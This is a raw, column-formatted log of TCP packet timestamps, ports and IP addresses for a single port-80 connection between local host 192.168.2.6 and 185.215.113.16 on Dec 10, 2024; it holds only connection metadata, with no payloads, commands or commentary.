Dec 10, 2024 02:50:29.185369015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.186363935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.186546087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.186574936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.186609030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.187509060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.187625885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.187666893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.188658953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.188838959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.188913107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.189733982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.189824104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.189873934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.190855026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.190994024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.191042900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.191970110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.192092896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.192140102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.193380117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.193486929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.193531036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.194226980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.194466114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.194509029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.195327044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.195427895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.195508957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.196465969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.196577072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.196628094 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.197535992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.198019028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.210777998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.330734015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.330883026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.330926895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.331317902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.331428051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.331471920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.332407951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.332519054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.332557917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.333551884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.333700895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.334316969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.334660053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.334825039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.334866047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.335789919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.335896015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.336020947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.336905956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.337023020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.337063074 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.338042974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.338175058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.338259935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.339152098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.339262962 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.339307070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.340291023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.340470076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.340512037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.341408014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.341528893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.341583014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.342540979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.342642069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.342688084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.343686104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.343808889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.343846083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.344831944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.344964027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.345005989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.345896959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.346012115 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.346052885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.347034931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.347145081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.347189903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.348170042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.348283052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.348323107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.349272013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.349390030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.349440098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.350409031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.350503922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.350545883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.351537943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.351644039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.351763964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.352641106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.352754116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.352799892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.353782892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.353899002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.353940010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.354928970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.355031967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.355082035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.356035948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.356174946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.356261015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.357172012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.357280016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.357321024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.358289957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.358396053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.358439922 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.359407902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.359517097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.359555960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.360522032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.360694885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.360740900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.361649036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.361778975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.361835957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.362786055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.362888098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.362936974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.363889933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.364006042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.364048004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.365032911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.365118980 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.365164042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.366142988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.366261959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.366306067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.367259026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.367374897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.367722034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.368383884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.368510008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.368550062 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.369519949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.369632959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.370237112 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.370646000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.370759010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.370806932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.371754885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.371889114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.371939898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.372893095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.373054028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.373096943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.374027967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.374145031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.374186039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.375133991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.375231981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.375298023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.376249075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.376372099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.376449108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.377388000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.377515078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.377558947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.378248930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.378532887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.378632069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.379647017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.379698038 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.379754066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.380255938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.380768061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.380873919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.380916119 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.381881952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.382019043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.382072926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.383008957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.383141994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.383775949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.384164095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.384270906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.384313107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.385304928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.385376930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.385499001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.386399984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.386529922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.386841059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.387500048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.387622118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.387670994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.388645887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.388765097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.388819933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.389764071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.398896933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.522949934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.523066998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.523185968 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.523504019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.523711920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.523788929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.524637938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.524739027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.524776936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.525721073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.525866032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.525913954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.526851892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.526962042 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.527003050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.527955055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.528069019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.528105974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.529093981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.529217005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.529257059 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.530205965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.530314922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.530359030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.531398058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.531483889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.531527042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.532489061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.532625914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.532675028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.533646107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.533739090 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.533849955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.534743071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.534852028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.534893036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.535851955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.535969019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.536015987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.536962986 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.537137032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.537182093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.538151026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.538510084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.538552999 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.539211988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.539331913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.539371967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.540352106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.540472031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.540513992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.541482925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.541604996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.541647911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.542576075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.542746067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.542870998 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.543709993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.543941975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.543976068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.544852972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.544967890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.545006990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.545978069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.546075106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.546118975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.547081947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.547205925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.547252893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.548192024 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.548306942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.548348904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.549323082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.549433947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.549482107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.550525904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.550640106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.550681114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.551583052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.551696062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.551728010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.552725077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.552822113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.552877903 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.553845882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.553982973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.554039001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.554961920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.555069923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.555113077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.556062937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.556190968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.556257010 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.557214975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.557322979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.557359934 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.558339119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.558433056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.558481932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.559504032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.559582949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.559698105 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.560616970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.560719013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.560760975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.561696053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.561855078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.562830925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.562875032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.562928915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.563966990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.564007044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.564080000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.564116955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.565076113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.565184116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.565224886 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.566245079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.566355944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.566400051 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.567337036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.567441940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.567486048 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.568465948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.568595886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.568635941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.569576025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.569726944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.569772005 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.570698023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.570817947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.570919037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.571933031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.572045088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.572140932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.572949886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.573050022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.573100090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.574085951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.574177027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:29.574194908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.575203896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:29.575247049 CET	49752	80	192.168.2.6	185.215.113.16
